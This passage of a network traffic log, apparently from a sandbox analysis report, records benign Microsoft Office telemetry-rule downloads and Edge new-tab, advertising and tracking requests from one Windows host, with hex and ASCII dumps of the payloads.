2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5d78e2d9-801e-00a0-72d5-332196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968glpgnhC1EWR7uec00000005n000000000bxdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	58749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e1dc95e-801e-007b-6ed5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968pf68xhC1EWRr4h800000005t000000000563g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	58754	20.96.153.111	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1BD2121F17CE6DB91D24072B16C96CCE&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=ef501e277f9a4e35be497bb0aaeb6886 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1
2024-11-11 20:59:22 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 20:59:21 GMT Connection: close
2024-11-11 20:59:22 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	58753	104.208.16.90	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358760996&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3809 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1
2024-11-11 20:59:22 UTC	3809	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 35 39 3a 32 30 2e 39 39 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 37 34 64 63 36 39 35 2d 38 39 66 37 2d 34 37 34 66 2d 39 61 31 37 2d 63 36 36 30 34 36 39 62 64 35 36 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 32 36 34 38 33 31 36 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-11T20:59:20.992Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"674dc695-89f7-474f-9a17-c660469bd561","epoch":"3026483166"},"app":{"locale
2024-11-11 20:59:22 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=54fbcbf842a249e080aa732b69ab46e5&HASH=54fb&LV=202411&V=4&LU=1731358762768; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 20:59:22 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=30f33ab9b6b44cc0b1427371a5a5bf93; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 21:29:22 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1772 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 20:59:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	58756	108.138.128.93	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	1012	OUT	GET /b2?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=194ec1d498ddfae943a29721731358762; XID=194ec1d498ddfae943a29721731358762
2024-11-11 20:59:22 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 11 Nov 2024 20:59:22 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 8ee187646f657ced7afa83005e9249cc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P4 X-Amz-Cf-Id: NT0znieMElP857BENhPteilCELzmZQE8fBWvNujCo2RLkScRz7dBSw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	58757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f5f8c6aa-e01e-0099-78d5-33da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968l4kp6hC1EWRe88400000005q000000000h2es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	58758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 602c134e-d01e-0049-04d5-33e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968glpgnhC1EWR7uec00000005n000000000bxem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	58759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 5fec14be-a01e-0021-75d5-33814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968jrjrxhC1EWRmmrs00000005pg00000000570a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	58760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 78b03680-101e-000b-4bd5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968j6t2phC1EWRcfe800000005n000000000bvrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	58723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2f59f113-901e-002a-1dd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205923Z-174f78459684bddphC1EWRbht400000005800000000073qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	58773	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:23 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Thu, 07 Nov 2024 23:02:43 GMT X-Source-Length: 176972 X-Datacenter: eastap X-ActivityId: e025bca4-b907-44e7-8c94-f789f7474759 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=93774 Expires: Tue, 12 Nov 2024 23:02:17 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
